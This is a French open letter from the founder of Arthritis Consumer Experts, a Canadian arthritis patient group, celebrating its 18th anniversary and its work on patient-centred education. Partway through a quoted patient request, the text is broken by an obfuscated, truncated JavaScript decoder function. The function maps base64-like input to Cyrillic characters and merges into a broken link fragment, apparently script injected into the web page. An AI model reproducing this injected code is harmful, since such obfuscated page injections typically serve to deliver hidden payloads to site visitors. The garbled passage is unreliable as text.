« ACE @ 18 », qu’est-ce que ça signifie ? – Cheryl Koehn

« ACE @ 18 », qu’est-ce que ça signifie ?

J’assistais tout récemment à une rencontre lorsqu’un médecin très en vue (dans un domaine autre que celui de l’arthrite) me disait que de travailler avec la collectivité arthritique et le gouvernement pour améliorer les modèles de soins pour les personnes arthritiques n’était qu’une « utopie ». Son commentaire était en lien avec la présentation que je venais de donner à près de 50 cliniciens et médecins spécialisés dans la recherche. Sur le moment, je suis restée figée près du podium, décontenancée par sa réflexion. Heureusement, je savais tout ce que le comité ACE (Arthritis Consumer Experts) et moi-même avions traversé tout au long de ces 18 dernières années. Nous nous sommes embarqués dans une grande aventure pour modifier et sauver des vies en travaillant bénévolement et en collaborant directement avec nos amis patients et leur famille, les experts médicaux, les spécialistes de la recherche de même que les décideurs en matière de politiques. Cette aventure n’a pas été de tout repos, bien au contraire. Pendant les cinq premières années d’existence du comité ACE, des personnes et des organisations puissantes ne souhaitaient rien de moins que de nous voir « disparaître ». Pourquoi cela ? Tout simplement parce que nous troublions le statu quo en ramenant constamment à l’avant-plan l’expérience et la voix des patients – de vraies personnes réellement atteintes d’arthrite – et que nous refusions absolument de « lâcher » le morceau et d’être mis de côté.

Je tiens à vous dire ceci, chers membres, abonnés, fans et suiveurs, parce que je tiens à ce que vous sachiez que 18 ans plus tard, nous continuerons à faire ce que nous avons toujours fait et même plus encore. Et nous voulons que vous fassiez encore et toujours partie de cette aventure. Vous êtes le comité ACE. Vous êtes l’expérience, la douleur, la lutte, les victoires, la joie et les défis que nous voulons représenter. Nous sommes une famille. Des frères et des sœurs de la famille arthritique, toute la journée, chaque jour.

ACE Cheryl Koehn guest badge at ACR
Cette aventure a commencé avec une seule personne, moi-même. Aujourd’hui, avec nos 40 000 membres et abonnés d’un bout à l’autre du pays, nous sommes la plus importante organisation de patients au Canada. Notre base de membres est plus importante en Ontario, au Québec, en Colombie-Britannique et en Alberta, mais on peut trouver des « fans ACE » dans chaque province et territoire. Que vous résidiez sur la côte Est, la côte Ouest ou dans le centre du pays, votre message est le même :

« donnez-nous la même information dont disposent nos médecins, mais dans un langage clair, facile à lire et à comprendre. Bref, fini le latin, passons à l’urbain. »

« Offrez-nous des function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeing-page" target="_blank" rel="noopener">programmes éducatifs nous permettant de prendre une participation plus active dans nos propres soins et d’en être les décideurs. »

« Aidez-nous à devenir le « quart arrière » de notre équipe de soins. »

Nous espérons que c’est ce que nous avons fait et nous continuerons de mettre vos besoins et vos objectifs au centre des préoccupations du comité ACE.

Pendant 18 ans, le comité ACE a défriché le passage pour plus de cinq millions de Canadiennes et Canadiens atteints d’arthrite afin de les aider dans leur cheminement avec la maladie. Nous avons élaboré le premier site Web pour arthritiques mis à jour mensuellement ; nous avons lancé deux applis mobilesque nous tenons à jour ; nous exploitons sept canaux de médias sociaux pour que vous puissiez facilement rester branchés sur toutes les nouvelles, les événements et la recherche sur l’arthrite. Notre petite équipe de huit personnes se présente tous les jours au travail pour vous servir, avec leur tête et leur cœur. Mais pendant que nous « abattions le boulot », chacun de vous a contribué à faire du comité ACE ce qu’il est aujourd’hui. Nous pouvons compter sur vous, la personne atteinte d’arthrite ou les gens qui travaillent pour vous et qui prennent soin de vous, pour faire avancer le programme prioritaire de notre organisation. Nous vous disons MERCI de répondre à nos sondages et de nous faire part de vos besoins via Facebook et Twitter afin que l’information que nous vous relayons et le contenu de nos programmes demeurent pertinents pour vous et votre cheminement arthritique. Nous profitons de l’occasion pour vous rappeler que vous attendons vos réponses aux questions posées sur notre plateforme L’Échange•Biosim.

Au moment où nous nous préparons à quitter le congrès 2017 de l’American College of Rheumatology – mon 16e dans ces 18 ans d’existence du comité ACE – je ne peux m’empêcher de songer à quel point le comité ACE est reconnaissant de pouvoir apprendre et travailler avec les meilleurs rhumatologues, physiothérapeutes, ergothérapeutes et autres professionnels paramédicaux de partout dans le monde. Nous sommes aux premières loges pour apprécier leur travail et leurs découvertes de quelques-uns de ces mystères associés à plus de cent formes d’arthrite qui nous accompagnent au quotidien. Plusieurs d’entre eux sont Canadiens. Je suis tellement fière de notre collectivité et de tout ce que nous avons accompli jusqu’ici. Mais il y a encore beaucoup à faire. Au fur et à mesure du déroulement de leurs travaux et avec notre présence à leurs côtés confirmant notre leadership et notre engagement envers la recherche axée sur le patient, nous livrerons dans votre boîte de messagerie, votre boîte aux lettres ou votre fil de média social toutes leurs découvertes ainsi que la façon de les mettre en pratique dans votre vie de tous les jours avec l’arthrite.

De mon cœur au vôtre, merci de faire partie du comité ACE. Comme beaucoup d’entre vous, j’ai commencé mon périple seule. Aujourd’hui, je fais partie d’une grande famille de sœurs et de frères arthritiques (Souriez.)

Cordialement,

Cheryl Koehn
Fondatrice et présidente